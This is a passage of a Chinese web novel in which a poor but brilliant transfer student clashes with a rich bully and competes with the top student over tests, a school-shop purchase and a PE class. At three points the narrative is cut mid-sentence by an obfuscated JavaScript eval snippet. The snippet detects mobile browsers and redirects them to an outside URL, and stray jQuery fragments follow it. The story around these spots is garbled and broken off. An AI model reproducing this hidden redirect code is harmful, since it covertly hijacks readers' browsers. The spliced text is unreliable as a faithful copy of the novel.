陆子昂单手拎着书包,闭了闭眼,强迫自己把情绪压下去。他深吸了一口气,胸膛微微起伏。 楚天青敏锐地察觉到,陆子昂的软肋是他的父母。他既要依靠父母的财富来显出高人一等的架势,又要避免真正触怒自己的父母。 她冷眼看着他,心想,果然如此,所有人都有自己的优势与难处。与生俱来的“高位感”是一把双刃剑,可惜他还不明白剑柄在哪里,也许他会被剑刃割伤,鲜血淋漓,却不自知。 早读课早已开始,教室里的几个同学正看着窗外,只等着纪明川与陆子昂大打出手,他们就能立刻跑去办公室叫老师。 楚天青皱了一下眉头。她也不想把事情闹大,毕竟她才刚转进省立一中,还没经历过月考,没向学校证明自己的价值。 这个节骨眼上,与陆子昂正面冲突,对她一点好处都没有。 楚天青松了松手中的拖把,唇边浮起一个温和的笑:“好了,王老师快来了,今天就这么算了吧。” 陆子昂原本还绷着脸,真没料到楚天青还能笑得出来。他的脑海里忽然闪现妈妈说过的一句话:“聪明人都知道什么时候该让一步。” 他轻哼了一声,不知是笑她,还是笑自己。 随后,他一甩书包,将肩带斜挎到了肩膀上,另一只手插进口袋,绕过楚天青和纪明川,从教室正门走了进去。 走廊里安静下来,纪明川才说:“回家记得喝点柚子茶,去去晦气。” 楚天青忍不住笑了笑:“我快把地板拖完了,你呢?” 纪明川蹲在栏杆边,右手握着那块湿抹布,正在认真擦拭最后一块瓷砖:“我也差不多了,再擦一块就完事。” 楚天青忽然想起什么,抬手拍了拍栏杆:“今天上午第一节课是物理随堂测试,对吧?” 纪明川淡淡地说:“嗯,听说题目很难。” 纪明川不怕难题,只怕题目不够难。他一直没告诉楚天青,他曾经获得过省级数学竞赛省级一等奖,上一次数学考试,是他手感不佳,才会让楚天青超过他。这一次,他不会再失误了。 他各科成绩一向均衡,从不偏科。这也是他能稳居年级第一的原因,不是靠一时的幸运,而是靠长久的积累。 值日结束后,走廊焕然一新,纪明川把抹布挂回原位,走到水龙头前洗了个手。 清水从指间滑落,冰冰凉凉,他看着水流,有些出神。 刚才在走廊上,陆子昂嘲笑楚天青的鞋子太旧,那一刻,纪明川也看见了,楚天青的鞋子旧得发白,却很干净。 今天早晨在食堂里,她连一块钱的煎蛋都舍不得加,这一幕在他脑海里停留太久,挥之不去。 他早就猜到了,她的家境并不宽裕。 她没有手机,没有电脑,更没有闲钱购买书本,她平时到底是在哪里读书?又是靠什么,理解那些复杂深奥的概念? 昨天晚上,纪明川在他的电脑上查阅了几篇论文,勉强理解了“时间反演对称”的基本原理,却还是不明白楚天青那个问题是什么意思?换句话说,他对量子物理的理解,远远不及她。 纪明川叹了一口气,又用凉水洗了一把脸。算了,反正高考不考量子物理,他又何必太较真? 早读课还在继续,阳光洒进教室,铺在课桌与窗台之间。 楚天青趴在桌面上,额角贴着胳膊,睡得很轻。拖完地后,她有些疲惫,不知道自己睡了多久,这一段时间仿佛静止了,只有风从窗边吹进来,隐约听见书页被风吹开了。 上课铃突然响起,楚天青睁开眼睛,周围的同学已经坐正了,讲台前站着一个陌生的身影。 那是一位三十岁出头的男老师,戴着黑框眼镜,格子衬衫扎进深棕色长裤里,头发上抹着发胶,一丝不苟地往后梳着,看上去有点土气,精神倒是十分饱满。 他把一叠卷子放在讲台上,抬头巡视了一圈,视线落在楚天青身上:“你是新转来的吧?我是关书伦,关老师,教你们物理。” 楚天青点了点头:“关老师好。” 教室里忽然传来几声窃笑,不知是哪个同学又在起哄。 关老师原本还在低头整理试卷,听到动静,眉头一皱,语气陡然一冷:“笑什么笑?一会儿发完卷子,你们就笑不出来了。” 关老师把试卷分好,按小组分发下去,同学们接过卷子,开始往后一张张传。纸张翻动的沙沙声回荡在教室里,夹杂着几道紧张的呼吸声。 纪明川拿到试卷,目光一扫,眉头轻蹙了一下。题目确实不简单,但都在他的预料之内。他拿起笔,飞快地写下前几题,沉着冷静又干脆利落。 才写到第五题,身后传来“哗啦”一声轻响。 楚天青竟然已经翻到第二页了。 纪明川手里的笔停顿了一下。 他强迫自己镇定下来,继续低头作答,可没过几秒,又是一阵“哗啦哗啦”的纸响,像是催命一般,催得他心烦意乱。 这张卷子上的题目实在刁钻,不少同学写着写着就开始叹气,甚至有几个同学已经彻底放弃答题,趴在桌上,盯着试卷发呆。 高三(17)班是省立一中有名的火箭班,学生们基础扎实,平日里也是傲气冲天。 关老师打定主意,要拿出一套真正的难题,把全班同学好好敲打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705134|172985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番,让他们知道自己还没修炼到家。 讲台边的木椅吱呀一响,关老师捧着水杯,坐在椅子上,喝了一口水,目光缓缓扫过全班,定格在了最后一排的楚天青身上。 楚天青正在奋笔疾书,写得飞快,几乎没有一丝停顿。 关老师眼皮一跳,心想这也太快了吧,不用思考的吗?不会是瞎写吧?他有些坐不住了。 他站起身,手背在后,慢悠悠地往教室后排走去,脚步声在寂静的教室里格外清晰。 纪明川听到脚步声越来越近。他才刚把第二页的题目写完,第三页还是一片空白,关老师偏偏挑在这个时候来巡视。 关老师停在纪明川身旁,低头看了一眼他的试卷。 纪明川抬头,两人四目相对,关老师对他笑了笑,毕竟他还是关老师的得意门生。 时钟指向八点二十一分。 就在这时,楚天青“啪”地一声合上了试卷,然后她若无其事地按了下中性笔的后盖,把试卷推到一边,趴回桌上,闭眼睡觉去了。 关老师最终还是没看楚天青的卷子。他在她桌边站了几秒钟,什么也没说,只以为她和那些学生一样,瞎写了一会儿,写不下去了,就只能倒头补觉了。他也不想打扰她,叹了口气,转身离开了。 时针滴答作响,纪明川一刻不停地飞快答题,签字笔的笔尖在纸上急速划动,字迹潦草却迅猛,像是要在下课之前,和这一张试卷拼个你死我活。 转眼间,二十分钟过去了,下课铃打响了。 “好,停笔!”关老师拍了拍讲台,“各组组长,收卷!” 教室里顿时炸开了锅,同学们从椅子上站起来,小声抱怨:“太变态了,写得我都快吐了。” “怎么会有这么恶心的题目?是人写的吗?” “卷子翻过去我就放弃了,一道没写,肯定不及格。” 同学们的脸上露出了疲惫和不甘的表情。 纪明川的神色还是一如往常。他站起身来,递交了自己的试卷。 楚天青也把试卷交给了组长,顺手打了个哈欠,眼睛还没完全睁开。 纪明川扫眼一看,瞥见了楚天青的卷子,不由得心头一震。 那张卷子上,密密麻麻地写满了字,每一道题都有详细解答,看不到半点空白。 纪明川装出一副平静从容的样子:“你在考试的时候睡觉了吗?” “嗯,”楚天青点了点头,“我好困。” 纪明川盯着她:“那你什么时候写完的?” 楚天青看着教室墙上的挂钟:“八点二十分?写完之后,我就睡着了。” 纪明川简直不敢相信:“你认真的?” “当然!”楚天青不喜欢别人怀疑她,“我发誓是真的!要是我说谎,我这辈子都吃不上学校食堂的饭菜。” 纪明川知道她热爱食堂的饭菜,也知道她刚才说的都是实话。 她在二十分钟之内,写完了那一份难到变态的物理试卷。 这一切真是太荒谬了。 人在无语的时候真的会笑,纪明川情不自禁地笑了一下。 他转过身,迈开腿,准备离开,却因为一时走神,腿又太长,跨出座位时,被椅子边缘绊住了。 他下意识扶住桌子,手掌才刚撑稳,脚下却站不住了,身体一个踉跄,膝盖一沉,单膝跪在了地上。 膝盖猛地一阵生疼。 纪明川还没来得及起身,楚天青正好停在他面前。 她弯了弯腰,低头看着他,神色认真又关切:“你没事吧?要不要我扶你起来?” 旁边的同学却爆发一阵哄笑:“啊啊啊啊!明神求婚了!明神单膝跪地,求婚了!!” 纪明川撑着桌子站起来,冷笑一声:“我看你们是考完了都疯了。” 呵呵,他也快疯了。他那一骑绝尘的好成绩,还有一向清白的好名声,全都要毁在这场考试上。 10.狄拉克函数 楚天青皱了皱眉:“你们别笑了,纪明川摔倒了,一点都不好笑。” 她抬头看他:“还疼吗?要不要去医务室?” 周围同学忍笑忍得肩膀都在颤抖,纪明川却没再发火。楚天青看他的眼神太专注了,干净明亮,瞬间把他心中的火气压了下去。 他偏过头,不自在地咳了一声,硬撑着说:“不疼,早就好了,好得很,体育课还能跑一千米。” 站在一旁的宋远舟笑得很大声:“哈哈,纪明川嘴真硬,天塌下来都有他的嘴顶着。” 楚天青看了宋远舟一眼:“那你呢?天塌下来,你只会躲在他嘴后面吧。” 同学们全都笑成一团,宋远舟也笑得前俯后仰,眼角都挤出了泪花。 纪明川无奈地叹了口气。教室里太喧闹了,让人心烦。他觉得自己必须出去透透气。 楼道里也是一片嘈杂,不少同学正在走廊上疯跑,不知为何,纪明川鬼使神差地走到了教师办公室门前。 这间办公室是四位老师共用的,语文老师王秀兰、数学老师钱晨、英语老师赵亦然,还有物理老师关书伦。 此时王秀兰和赵亦然都不在,大概是去参加年级组的会议了。办公室里只剩下关书伦和钱晨,两人正低声谈论着什么。 “你说那个新来的转学生,”关书伦捧着保温杯,语气中透着几分不解,“昨天数学考了个满分,怎么今天物理试卷刚发下去,她就趴在桌上睡觉呢?” 钱晨低头批改着数学作业,随口说:“你先把她的卷子改出来吧,她很聪明的,昨天数学试卷最后一题,全年级就她一个人写出来了。” 全年级只有她一个人写出来了? 纪明川淡淡地笑了笑。他怀疑自己正在做梦,他想快点醒过来。自从楚天青转学过来之后,这所学校的一切都变得不太正常了。 窗外忽然下起了雨。雨水淅淅沥沥,在玻璃窗上划过,一道未干,一道又落,仿佛怎么也停不下来,纪明川的心绪也随之混乱起来。 关书伦抬头,望见了纪明川,语气温和:“纪明川,你是来问题目的吗?” 纪明川沉默了一秒,走进办公室:“我想问一下,物理试卷的分数大概什么时候能出来。” 关书伦放下手中的水杯,笑意如春风般和煦:“是想知道自己考得怎么样吧?没关系,老师这就帮你改。” 他说着,搬来一把椅子,放在办公桌旁:“来,坐下,哪儿有错,老师一边改,一边给你讲。” 话音刚落,王秀兰推门进来,手里还拿着一本教案。她一眼看见纪明川,笑着调侃:“哎,关老师,这是在给我们班纪明川开小灶呢?” 钱晨也笑着接话:“那我一会儿也把我们班的尖子生叫来,关老师不能太偏心了啊。” 王秀兰是高三(17)班的班主任,负责17和18班的语文教学。钱晨是高三(18)班的班主任,也是17和18班的数学老师。她们二人隐约有些矛盾,从不摆在明面上。 王秀兰边走边问:“咱班纪明川昨天数学考了147,对吧?” 钱晨还在批改数学作业:“是啊,我改的卷子,他最后一道大题没解出来,那题一共有三个小问,他做对了前两个,最后一个算错了,挺可惜的。我只好给他扣了三分。” 王秀兰在自己的座位前坐下,笑着开口:“那也不能说他没做对,只能说是,没做全对。” 钱晨也笑了:“哎,我又不是教语文的,哪儿有王老师用词这么精准?” 窗外雨声渐渐变小,玻璃窗上残留着水珠,空气中泛着潮气,远处的操场也笼着一层薄雾。 纪明川望着窗外景色,忽然开口:“楚天青,全都做对了。” “是吧,”王秀兰摊开教案,“我也看出来了,她特别聪明。” 这时,宋远舟恰好从办公室门口经过。王秀兰偏过头,喊了一句:“班长,过来一下。” 宋远舟快步跑进来:“王老师。” 王秀兰说:“你去把楚天青叫到办公室来,老师有事找她。” 此时,纪明川正坐在关书伦的办公桌旁,身体微侧,盯着那一份被抽出来的物理试卷。 关老师一题一题批改,神情专注,偶尔皱一下眉头。 选择题全对,填空题错了一道。 关老师看着那道错题,忍不住叹了一声:“这一题,你不该错的啊……” 这一句话还没说完,楚天青已经走到了王秀兰的办公桌前。 王秀兰打开抽屉,拿出一个用塑封纸盒装着的全新保温杯,递了过去:“这是学校新发的,质量挺好的,你看看能不能用得上。” 楚天青愣了一下,双手紧紧贴着裤缝,迟迟没有接过保温杯。 她并不是不需要这个杯子,事实上,她太需要了。 她也不是不喜欢新的、干净的、毫无瑕疵的东西,对她来说,那实在太珍贵了。正因为太明白它代表的分量,她才不敢轻易伸手。 那种“为她准备”的感觉,让她欣喜,更让她惶恐。她怕自己接受得太自然,反而显得不知轻重。可她也是真的想要……想要留下它。 王秀兰看懂了她的迟疑,语气更温柔了几分:“昨天你那个杯子炸了,手没事吧?烫得重不重?” 楚天青猛地回过神,连忙点头:“没事了,老师,真的,一点问题都没有了。” 王秀兰催促了一声:“行,拿着吧。” 楚天青双手捧过纸盒,高高兴兴地说:“谢谢王老师!我一定会好好保存的。” “别光保存啊,”王秀兰被她逗笑了,“拿去用吧,这在网上都卖两百多一个呢。” 两百多块钱的保温杯? 楚天青几乎怀疑它是金子做的了。 至于黄金多少钱一克,其实她也说不上来。因为她知道自己买不起,所以从未注意过相关消息。 楚天青又轻声说了一句“谢谢王老师”,双手抱紧纸盒,正要离开,忽然听见关书伦对纪明川说:“你这道大题最后一步也写错了,哎,扣两分。我看看你总分……九十四,还好,应该是你们十七班最高分了吧。” 楚天青脚步一顿,转身跑了过去:“关老师,可以看一下我的卷子吗?” 这一个问题,好像恶魔低语。 纪明川在心中默念一声“完了”。 关老师果然答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过了一会儿,好不容易平复心境,纪明川才走回座位,翻开自己的笔记本,忍不住在扉页上写下一句:“既生瑜,何生亮?” 宋远舟还在一旁问他:“你物理考了多少分?我刚才看到关老师在给你改卷子。” 纪明川不说话,宋远舟还不死心:“也是满分吗?和楚天青一样?” 楚天青的座位周围已经围满了人,有男有女。同学们弯着腰,搭着桌沿,乞求楚天青把卷子借给他们研究。 楚天青想了想,轻轻拍了拍纪明川的后背:“你要不要看我的卷子?你要是想看,我就先借给你。” 楚天青这句话说得如此直白,同学们竟然没有起哄。大概是因为她的成绩太优秀了,已经超出了大多数人的理解范围,就连平时最爱起哄的同学,此时也闭紧了嘴巴,不知道该怎么接话了。 纪明川记得自己曾经说过,“以后不会再借楚天青的试卷”。 他沉默片刻,终究还是回答:“那就借我看看吧。” “没问题!”楚天青把卷子递给了他。 11.非浓缩果汁 纪明川拿起物理试卷,把最后一题的解法工工整整抄进了错题本。 笔尖在纸页上沙沙作响,隐有一丝不甘。他没注意听周围同学在说什么,只想着那几个推导步骤。狄拉克函数,呵呵,考试的时候,他怎么就没想起来? 这时,楚天青缓缓起身了。她手里提着一个干净的塑料袋,里面是一件短袖,叠得整整齐齐。 她走向第一大组,来到郑相宜的身边,把袋子轻轻放在桌上:“谢谢你,短袖我已经洗好晾干了。” 郑相宜接过塑料袋,犹豫了一会儿,又像是下定了决心似的,低声问:“等我的物理卷子发下来……你能教教我吗?” “当然可以!”楚天青笑了,答应得特别快,“我会把每道题都讲得清清楚楚。” 她看着郑相宜的眼睛,格外认真:“其实我以前也不太会,我也是后来慢慢摸索出来的。你要是愿意听,我一定尽全力教你。” 郑相宜也笑了,还点了点头。 短短几句话,又拉近了她们二人之间的距离。 第四大组的角落里,宋远舟伸长了脖子,望向楚天青和郑相宜,随后又侧过头,看着纪明川。 纪明川还在勤勤恳恳做笔记。 宋远舟也是第一次见到纪明川如此认真地研究别人的卷子。 宋远舟笑了一声,半开玩笑地说:“啧啧,你看楚天青和郑相宜关系多好。楚天青都跑去帮人讲题了,你心里就没点醋意?” 纪明川连头都没抬,语气冷得像冰:“你有病就去吃药,别在这儿胡说八道。” 纪明川写完最后一个公式,合上笔记本,楚天青还没回来。 他把那张卷子折好,放到楚天青的桌面中央,又把她的课本压在上面,仔细摆正,防止风吹走了卷子。 这一上午,纪明川都有些心不在焉。 他靠在椅背上,望着讲台,忽然有些烦躁地转了转笔,心中暗想,数学和物理这两个科目已经沦陷了,完全落入了楚天青的掌控范围。剩下的语文、英语、生物、化学,他还能守得住吗? 上午第四节课是体育课,纪明川的心情稍微好转了一些。等到体育课结束之后,在食堂吃个午饭,就能回家了。 纪明川背起书包,离开教室,顺着长廊往操场方向走去。 前方不远处,楚天青、郑相宜和顾思安三人并肩走着,边说边笑。她们与纪明川之间的距离不超过五米,顾思安忽然说,她想先去超市买瓶水。 学校超市就在操场旁边,对学生来说,体育课之前,顺路去超市买瓶水是很方便的。 不过,超市里的东西都不便宜,楚天青可能还不知道。 纪明川犹豫了一瞬,目光落在楚天青的背影上。他几乎是不加思索地,跟着她走了一路,也踏进了超市的门。 冷气扑面而来,超市里开着空调,温度比外面低了不少。 楚天青回头,正对上纪明川的视线。她对他笑了一下,他反倒避开了她的目光。 纪明川好奇怪啊,楚天青心想。他站得笔直,她却觉得他有些鬼鬼祟祟。他双手揣进裤子口袋里,目不转睛地盯着一排文具用品。 楚天青也就不再看他了。 她转过身去,环视四周,这个超市比教室更宽敞,白瓷地板上没有一处污渍,很是干净整洁。 货架上陈列着各种食品、饮料、文具和生活用品,整体布局井然有序。 冰柜里摆满了五颜六色的冰淇淋,每一个都是价格不菲,最便宜的也要两元以上。 顾思安和郑相宜各自拿了一瓶饮料,又走到冰柜前,推开玻璃门,翻看着一盒盒冰淇淋的标签。 楚天青远远看见,郑相宜已经选中了一根巧克力脆皮的哈根达斯。顾思安还在犹豫,但她挑来挑去,也没碰那些价格低的。 今天是阴天,气温却还是偏高,超市门外的温度计上显示,实时温度是三十摄氏度。 在体育课前吃一根冰淇淋,确实能缓解闷热,但是楚天青不敢靠近那个冷柜。她怕自己被她们叫过去,更怕她们随口一问:“你不挑一根吗?” 楚天青悄悄躲进了饮料区,这里是一个安静的地方。 她抬起头,看着货架上整齐排放的瓶装饮料,有塑料瓶,也有玻璃瓶,颜色鲜亮,包装也很高级。 她自言自语:“NFC是什么意思啊?” 纪明川的声音从她背后传来:“NFC是‘Not From Concentrate’的英文缩写,原料是新鲜水果压榨出来的果汁,榨完之后,经过巴氏杀菌,装瓶保存,营养会多一点,味道也更像真正的水果。不过保质期短,价格也更贵一些。” 楚天青回头一看,纪明川与她的距离不过两步远。 他站在明亮灯光之下,肩上的书包斜挂着,领口松开了一颗扣子,露出线条清晰的锁骨。 楚天青忽然意识到,纪明川其实挺高的。他站在货架前,轻而易举就能碰到最上面一层。 她靠着货柜,抬头看着他:“你说得好详细。” 纪明川走近半步,抬手从高处拿下一瓶橙汁,递过来:“这个不错,味道很纯。” 楚天青扫了一眼标价:“太贵了,我不要。” “嗯,”纪明川只说了一句,“等我一下。” 他转身离开,脚步干脆利落,又过了不到一分钟,他回来了,把一瓶NFC橙汁、一瓶冷藏矿泉水和一张超市小票放到她手里:“口渴的时候还是喝水比较好。” 话音刚落,他又迈开了一步。 楚天青抱着橙汁和矿泉水,怔怔地望着他的背影,小声问:“你为什么又给我买饮料?” 纪明川头也没回:“你借我看了你的物理试卷,我只是不想欠你人情。” 楚天青问:“你对别人也是这样吗?” 纪明川怔了一下,没回答。他只对她这样,只有她是那个让他放不下的对手。可他为什么要给对手买饮料?他一时也想不明白。 下一秒,他像是怕被她追问似的,猛地转身,大步跑开,动作迅速之极,如同冲刺终点的运动健将,短短几秒钟后,就把他们之间的距离拉远了。 超市的自动门“叮”地一声打开,他冲出门外,背影消失在人群之中,楚天青愣在原地,还没来得及把饮料还给他。 楚天青不知道自己在这里站了多久,直到郑相宜喊了她的名字:“楚天青?” 楚天青连忙跑了过去。 郑相宜早已拆开了哈根达斯的包装纸,正小口咬着那一支巧克力脆皮冰淇淋。 顾思安也拿着咖啡味的冰棍,已经吃了一半了。 “天呐,快上课了!”顾思安低头看了眼手表,“快快快,赶紧走!” “我还没吃完呢。”郑相宜拿出一张餐巾纸,擦了擦嘴。 “那就多咬几口,”顾思安语气急促,“快点啊!别迟到了!” 郑相宜拉过楚天青的手,带她走出了超市。顾思安紧跟在她们身后,三人一起往操场方向走去。 路上,郑相宜和顾思安都把冰淇淋吃完了,又把木棍扔进了垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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同学们立刻发出了悲惨的嚎叫声。 郑相宜也嘀咕了一句:“早知道我就不吃冰淇淋了,跑完八百我肯定会吐。” “安静点!”杨老师挥动了手臂,“这天又不算热,老师当年在体校,顶着三十五度的太阳都得跑十圈。适当锻炼,对你们身体有好处。” 同学们还在哼哼唧唧。 杨老师更严肃了:“今天大课间下了点儿小雨,你们都没跑步吧?现在补上几圈就这么难?八百米才两圈,一千米也不过两圈半!跑不动就慢点跑,行了吧?别喊了,先做仰卧起坐和引体向上。” 班长宋远舟叹了一口气。既然今天要测仰卧起坐,那他又得去器材室搬垫子。 按理说,这活儿应该是体育委员陆子昂去做的,可是陆子昂总说器材室不干净,不肯去,杨老师也从不勉强他。于是,每一次,都是宋远舟带人去搬。 果然,这一次,杨老师喊了一声:“宋远舟?” 宋远舟拍了拍纪明川的肩膀。 纪明川点头应下:“走吧。” 女生那边,郑相宜、顾思安也拉上了楚天青。五个人分成两路,朝着体育馆的器材室走去。 顾思安一边走,一边抱怨:“烦死了!跑完步一身臭汗,还得去食堂吃饭,我哪有胃口啊?” 楚天青安慰她:“那你跑慢一点吧,然后我们可以去吃凉面。” 郑相宜拉住楚天青的手腕:“你中午也去我们寝室午休吧?顺便还能洗个澡。” “好好好!”楚天青一口答应,“谢谢你!” 楚天青紧跟着郑相宜,走到了体育馆门口,她一点都不觉得“搬垫子”是一件麻烦的事。她好久没上过体育课了,对体育馆也充满了好奇。想到中午能去食堂吃饭,去寝室洗澡、午睡,她就觉得特别幸福,脚步都不由自主轻快了几分。 12. 仰卧起坐 体育馆共有三层楼,外墙贴着米白色瓷砖,内壁铺设了吸音板,隔音效果很好。 一楼的空间最为宽阔,挑高的穹顶延展开来,镶嵌着几排狭长天窗。阳光从高处倾泻下来,洒在馆内的木地板上,映出一片金色光晕。 几个体育特长生正在篮球场地训练,球鞋在地板上划出清脆响声。 楚天青脚步一顿:“我第一次看见这么大的体育馆。” “平时也不给我们用,”宋远舟插了一句,“我们上体育课都是在操场上。” 顾思安点头附和:“可不是嘛,两年了,在体育馆上课的次数一只手都数得过来。” 楚天青仰头望着四周:“器材室在哪里呢?” 宋远舟走到前方一个拐角,指着一扇虚掩的门:“这边。” 他伸手一推,木门“吱呀”一声打开了,里面堆着厚垫子、羽毛球拍、跳绳、还有几个漏气的健身球,空气中带着一点灰尘气味。 宋远舟清了清嗓子:“来来来,都来拿垫子,你们一人两个,让纪明川拿四个。他头脑发达,四肢更发达,天生就是干重活的。” 今天上午物理考试带来的震撼还没消退,纪明川有些心不在焉,却还是听见了宋远舟的调侃。他“呵呵”地笑了:“干脆让我一个人全拿了,你们什么也不用管。我把十四个垫子顶在头上运回去。” 楚天青“扑哧”一声笑了出来。她弯腰拎起四块垫子:“我来拿吧,我也有力气。” 宋远舟赞叹不已,语气里多了几分佩服:“你看着挺瘦的,力气还不小啊。” 楚天青随口说:“我小时候在农村长大,种田、拔草、挑水都干过。” 她这一句话说得平静,纪明川的脑海里却浮现出一个画面,如果世界末日突然来临,食物严重短缺,城市系统崩溃,楚天青是不是可以指挥同学们种地、挑水、生火,养活全校人?呵,她还真是无所不能。 纪明川犹豫了片刻,低声称赞她:“嗯,你真是……德智体美劳全面发展。” 楚天青对他笑了笑:“谢谢表扬,我会继续努力的。” 纪明川还想给她搭把手,但她拒绝了。她拎着四个垫子,跑出了器材室,走在返回操场的路上,远远看见杨老师正在带领大家做热身运动。 她小跑着回到队伍,把垫子放到一旁。纪明川紧跟在后,也放下了手中的垫子。 又过了一会儿,郑相宜、顾思安和宋远舟也陆续归队。 楚天青抬头看了看天色,阳光并不刺眼,风也是柔和的。她跟着大家一同伸展手臂,动作算不上标准,却是格外专注。 站在队伍里,和同学们一起做操,她心里也觉得高兴。 做完操后,杨老师双手鼓掌:“好了,女生们先来测仰卧起坐!这里一共有十四个垫子,咱们班现在有二十七个女生,对吧?大家先两两自由组队吧!” 女生们动作麻利地摊开垫子,两两组队凑在一起。郑相宜和顾思安自然成了一组,楚天青却成了唯一落单的那个人。 郑相宜连忙举手:“老师,我们能不能三人一组?” 杨老师皱了皱眉:“那你们怎么计数呢?这样吧,陆子昂,你过来帮女生们数一下!” 话没说完,陆子昂摆了摆手,一脸不情愿地打断:“我不去,你换个人吧,我看纪明川挺合适的。纪明川不是挺有服务精神的吗?他早晨都跪在地上了。” 同学们顿时爆发一阵哄笑,操场上的气氛热闹起来。 纪明川刚想开口骂回去,宋远舟却抬起一只手,在空气中拍了拍,暗示纪明川保持冷静。 “安静!”杨老师吹响了口哨,然后才说,“女生们,把垫子铺好,准备测试,男生原地热身,不要走远。我去检查一下单杠稳不稳,你们别乱动啊,等老师回来。” 杨老师走后,陆子昂又问:“纪明川,楚天青,你们两个怎么都哑巴了?” 楚天青站在一旁,脸颊微微泛红,不是因为害羞,而是因为愤怒。 陆子昂刚才那句话,说得轻飘飘的,却把“给女生计数”当成一件低人一等的事,不仅贬低了在场的女生,也顺便嘲讽了纪明川。他不是在开玩笑,而是在宣泄恶意。 楚天青不爱发脾气,很少和人正面冲突,也知道自己不能和陆子昂硬碰硬,但是,这一瞬间,怒火还是猛地烧上来了,理智也被灼得七零八落。 她冷冷开口:“陆子昂真会挑事,他不肯拿垫子,嫌脏,其实全班最脏的就是他那张嘴。” “哟,楚天青,”陆子昂一步步走近楚天青,“你是不是以为考了几次第一,你就是个人物了?” 楚天青还没回答,陆子昂故意压低了声音:“你还挺有优越感的,比谁都爱出风头,整天一副可怜样儿,骗老师骗同学,你也太会演了,还在装清高呢?” 楚天青原本没打算还嘴的。但是,那一句话,“整天一副可怜样儿”,像一根钉子刺入她的耳朵里,刺入这十几年的生活里。 “蠢货,”楚天青双手叉腰,“是你自己太没本事,你有钱又怎样?拿来羞辱别人,就觉得自己有底气了?我什么都没有的时候,也没你这么低劣! ” 说完这句话,她转身的那一瞬间,才发现自己的指尖一直在颤抖。可恶,刚才发挥得并不好,她不太擅长和同学吵架。 陆子昂也被愤怒点燃了,抬手就要推楚天青,忽然有人扯住了他的衣领,把他往后面狠狠一拽。 他踉跄一步,差点摔倒,回头一看,果然是纪明川对他动手了。 “纪明川!你胆子不小!!”陆子昂大声怒吼。 “你真的疯了,”纪明川站在原地,“整个操场上,就你一个人像头疯牛,乱冲乱叫。” 宋远舟也觉得陆子昂太过分,不由得在一旁“哞哞哞”地喊了一嗓子。 陆子昂气得脸都扭曲了,猛地抬腿,朝着纪明川的膝盖踢去,又快又狠,在激愤之上,更加了一层暴怒。 下一秒,纪明川向后一侧身,干脆利落地避开了。 陆子昂那一脚落了空,脚掌重重踏在地上,鞋底卷起一层湿气,发出沉闷的一声响。他的脸色涨得发红,像是被人当众扇了一耳光。 周围同学下意识地后退几步,谁也不敢插手,谁也不想惹麻烦。 陆子昂的目光冷冷扫过众人,落到了楚天青身上。他还没开口,郑相宜拨开人群,挡在楚天青面前:“陆子昂,你还要闹到什么时候?你这样做,只会让别人越来越看不起你。” 陆子昂的眼神几乎要喷出火来:“连你也护着她?你们都疯了?你和她是什么关系?!” “你管得太宽了,”郑相宜一步不退,“我和谁走得近,是我自己的事,与你无关。” 陆子昂愤怒到了极点,反而笑出来了:“对,我就是多管闲事了!我就是傻,才会在意你和谁走得近!” 喊叫声回荡在操场上,杨老师大步走过来:“你们闹什么?!” 杨老师毕竟年轻,楚天青与陆子昂刚开始吵架时,杨老师正在检查器材,距离远了些,一时没注意。等他听见动静回过头,同学们已经乱成一锅粥。 更何况,陆子昂和纪明川的纠纷,杨老师早就听说过,这两个学生的家长都不好惹,他也不愿介入其中。可现在不管也不行了,杨老师的脸色有点尴尬,快步赶回17班所在的地方。 他看了看楚天青,又看了看陆子昂,勉强保持一副威严神色:“行了!都别吵了,上体育课呢,吵什么,你们几个?” 周围安静得只剩下风声,杨老师又说了一句:“陆子昂,纪明川,你们两个都去男生队伍里站好,别让老师再点你们名字!” 纪明川归队了。 陆子昂嗤笑一声,没动。 杨老师皱紧了眉头,却也没再说什么,只转向其他学生:“都别看了,女生们,开始做仰卧起坐。快点,别磨蹭了!” 楚天青左手拎起一张垫子,右手牵住郑相宜,走向女生所在的区域。她在心里暗暗发誓,总有一天,她一定会闯出一片天,一定会赚到很多很多钱! 陆子昂没能打击她的自信心,反而让她的野心更加膨胀了。她原本以为,转来省立一中之后,自己会一直胆怯、一直退缩,但是,此时此刻,那些畏惧感竟然暂时消失了。 她渐渐冷静下来。 她与陆子昂的冲突,是不可避免的。她一退再退,他只会一进再进。 更何况,陆子昂曾经把纪明川推下楼梯,这说明他们之间早就结仇了。在同学看来,楚天青和纪明川相处融洽,那陆子昂必定会把那份敌意一并转嫁到她身上。 倒也不完全是坏事。 楚天青心想,真正让她感到不安的,反而是那些看起来安全、牢靠的人际关系。 就像顾思安追问她为什么没付钱?她会慌乱,会愧疚,是因为她把顾思安当成朋友,害怕失去,更害怕被误会。 可是陆子昂不一样。他动机明确,充满恶意,面对这样的人,她只会变得更冷静,也更强大。 “啪”的一声,海绵垫落在草地上,楚天青坐了下去,郑相宜还没松开她的手:“陆子昂就是有毛病,你别和他计较。” “我没事,”楚天青捏了捏郑相宜的指尖,“其实我现在很平静,陆子昂也没说什么脏话,他不算是我见过的最刻薄的人。” 郑相宜的语气放松下来:“那就好。” 表面上虽然平静了,楚天青却还要再考虑一下,这件事发生以后,还有没有什么隐患? 